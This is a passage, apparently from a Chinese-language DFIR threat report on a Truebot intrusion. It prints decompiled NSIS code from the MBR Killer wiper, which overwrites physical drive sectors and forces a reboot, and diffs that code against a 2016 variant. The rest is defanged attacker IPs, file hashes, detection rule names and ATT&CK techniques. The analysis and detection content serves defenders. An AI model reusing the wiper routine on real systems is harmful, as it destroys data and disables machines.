StrCpy $7 1
Goto label_wipe
label_next_wipe:
IntOp $7 $7 + 1
label_wipe:
IntCmp $7 3 0 0 label_free_wipe
System::Call "kernel32::SetFilePointer(i, i ,i ,i) i (r2, 0, 0, 0) .r3"
IntCmp $3 -1 label_goto_next_wipe
System::Call "kernel32::WriteFile(i, i, i, p, i) i (r2, r5, 512, r6, 0)"
System::Call "kernel32::FlushFileBuffers(i) i (r2)"
label_goto_next_wipe:
Goto label_next_wipe
label_free_wipe:
System::Free $6
System::Free $5
label_close_physicaldrive:
System::Call "kernel32::CloseHandle(i) i (r2)"
Goto label_next_physicaldrive
label_goto_exit:
Goto label_exit
label_next_physicaldrive:
IntOp $0 $0 + 1
Goto label_check_physicaldrive
一旦 MBR Killer 擦除器造成损坏,脚本就会尝试修改其进程权限以启用 SeShutdownPrivilege 并启动重启。
label_exit:
StrCpy $1 0
System::Call "advapi32::OpenProcessToken(i, i, *i) i (-1, 0x0008|0x0020, .r1) i .r0"
StrCmp $0 0 label_shutdown
System::Call "advapi32::LookupPrivilegeValue(t, t, *l) i (n, 'SeShutdownPrivilege', .r2r2) i .r0"
StrCmp $0 0 label_close_process
System::Call "*(i 1, l r2, i 0x00000002) i .r0"
System::Call "advapi32::AdjustTokenPrivileges(i, i, i, i, i, i) i (r1, 0, r0, 0, 0, 0)"
System::Free $0
label_close_process:
System::Call "kernel32::CloseHandle(i) i (r1)"
label_shutdown:
Call func_shutdown
要启动重启,MBR Killer 会调用 ExitWindowsEx:
Function func_shutdown
Push $1
StrCpy $1 0x2|0x4
System::Call "user32::ExitWindowsEx(i, i) i ($1, 0x00030000|0x00000003) i .r0"
Pop $1
FunctionEnd
值得注意的是,尽管 MBR Killer 脚本尝试重新启动,但在 NSIS 安装程序本身中实现了相同的功能。重新启动后,受影响的机器变得无法运行。
尽管我们观察到的擦除程序没有使用 VM-Protect 打包,但反编译脚本与2016 Banco de Chile wiper 组件几乎相似 ,表明源代码可能已被共享。
支持这一理论的是 NSIS 版本从 v3.0b2(2015 年 8 月 4 日发布)到 v3.04(2018 年 12 月 15 日发布)的变化,同时删除了 MBR Killer 品牌。
-Name "MBR Killer"
-BrandingText "Nullsoft Install System v3.0b2"
+Name Name
+BrandingText "Nullsoft Install System v3.04"
虽然 2016 样本是 bzip2压缩的,但重新编译的版本现在使用性能更高的 zlib压缩。
-SetCompressor /SOLID bzip2
+SetCompressor zlib
在功能方面,我们新观察到的擦除器执行了合理的重启(0x2,EWX_REBOOT),而 Banco de Chile 变体只是执行了不合理的关闭(0x8,EWX_POWEROFF)。
- StrCpy $1 0x8|0x4
- System::Call "user32::ExitWindowsEx(i, i) i ($1, 0) i .r0"
+ StrCpy $1 0x2|0x4
+ System::Call "user32::ExitWindowsEx(i, i) i ($1, 0x00030000|0x00000003) i .r0"
作为一个狩猎机会,我们观察到 NSIS 可执行文件(合法与否)自动删除 %Temp%\ns[a-zA-Z0-9]{5}.tmp\System.dll 库,该库作为合法 NSIS 系统插件的 一部分,使开发人员能够从任何 DLL 调用任何导出的函数。虽然不表示存在恶意活动,但我们建议威胁猎手查看上述库的创建,以识别其环境中可能不需要的安装程序。
# Truebot
essadonio[.]com / 45.182.189[.]71
# Cobalt Strike
5.188.206[.]78
# FlawedGrace
5.188.86[.]18
81.19.135[.]30
92.118.36[.]199
# Exfiltration IP Address
139.60.160[.]166
# Truebot
Name: Document_may_24_16654.exe
Size: 10435552 bytes
MD5: 6164e9d297d29aa8682971259da06848
SHA1: 96b95edc1a917912a3181d5105fd5bfad1344de0
SHA256: 717beedcd2431785a0f59d194e47970e9544fbf398d462a305f6ad9a1b1100cb
# Truebot C2
IP: 45.182.189[.]71
JARM: 28d28d28d00028d00042d42d0000005a3e96c1dfa4bdb24b8b3c04cae18cc3
# AdFind
Name: AdFind.exe
Size: 1619968 bytes
MD5: 12011c44955fd6631113f68a99447515
SHA1: 4f4f8cf0f9b47d0ad95d159201fe7e72fbc8448d
SHA256: c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3
# MBR Killer
Name: chrome.exe
Size: 46698
MD5: 2dc57a3836e4393d4d16c4eb04bf9c7e
SHA1: c6a5b345cef4eb795866ba81dcac9bd933fdd86d
SHA256: 121a1f64fff22c4bfcef3f11a23956ed403cdeb9bdb803f9c42763087bd6d94e
# Legitimate NSIS System plugin
Name: System.dll
MD5: fbe295e5a1acfbd0a6271898f885fe6a
SHA1: d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256: a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1
https://github.com/The-DFIR-Report/Suricata-Rules/blob/main/rules/truebot.rules
ETPRO MALWARE FlawedGrace CnC Activity M1
ETPRO MALWARE FlawedGrace CnC Activity M2
ET DROP Dshield Block Listed Source group 1
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
ThreatFox Cobalt Strike botnet C2 traffic (ip:port - confidence level: 100%)
ThreatFox Silence botnet C2 traffic (ip:port - confidence level: 75%)
ET POLICY Tunneled RDP msts Handshake
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET POLICY SMB Executable File Transfer
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
DFIR 报告库
Nullsoft Scriptable Installer Script (NSIS) 执行:b95288d8-020a-4df0-95cb-d2d3a806ab11
Nullsoft Scriptable Installer Script (NSIS) 执行:221f15de-1cce-40b2-a766-2873938198c6
查看远程目录:bca1fab7-5640-489d-a161-e154fb6ba4f8
使用任务列表列出远程进程:80a56507-6778-4d04-8346-320a70358f2c
FlawedGrace创建威胁注入目标(spawning threat injection target):295e71e5-38c9-4a59-90dd-9fa7bf617b4b
AdFind 发现:50046619-1037-49d7-91aa-54fc92923604
Sigma规则库
CobaltStrike 命名管道:d5601f8c-b26f-4ab0-9035-69e11a8d4ad2
CobaltStrike服务安装——安全:d7a95147-145f-4678-b85d-d1ff4a3bb3f6
使用Net.EXE的执行可疑的组和帐户侦察活动:d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
Net.exe 执行:183e7ea8-ac4b-4c23-9aec-b3dac4e401ac
通过Wmic.EXE创建的新进程:526be59f-a573-4eea-b5f7-f0973207634d
可疑的计划任务创建:3a734d25-df5c-4b99-8034-af1ddb5883a4
通过Net.EXE创建的新用户:cd219ff3-fa99-45d4-8380-a7d15116c6dc
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/21619/21619.yar
Process Injection - T1055
Disk Structure Wipe - T1561.002
Exfiltration Over Alternative Protocol - T1048
Match Legitimate Name or Location - T1036.005
Disable or Modify Tools - T1562.001
Deobfuscate/Decode Files or Information - T1140
Fileless Storage - T1027.011
Command Obfuscation - T1027.010
Scheduled Task - T1053.005
PowerShell - T1059.001
Malicious File - T1204.002
Web Protocols - T1071.001
Custom Command and Control Protocol - T1094
System Owner/User Discovery - T1033
Domain Groups - T1069.002
Local Groups - T1069.001
Domain Trust Discovery - T1482
Process Discovery - T1057
Domain Account - T1087.002
File and Directory Discovery - T1083
Remote System Discovery - T1018
Security Software Discovery - T1518.001
Query Registry - T1012
SMB/Windows Admin Shares - T1021.002
Local Data Staging - T1074.001
LSASS Memory - T1003.001
Pass the Hash - T1550.002
Valid Accounts - T1078
Create or Modify System Process: Windows Service - T1543.003
OS Credential Dumping: Security Account Manager - T1003.002
Spearphishing Link - T1566.002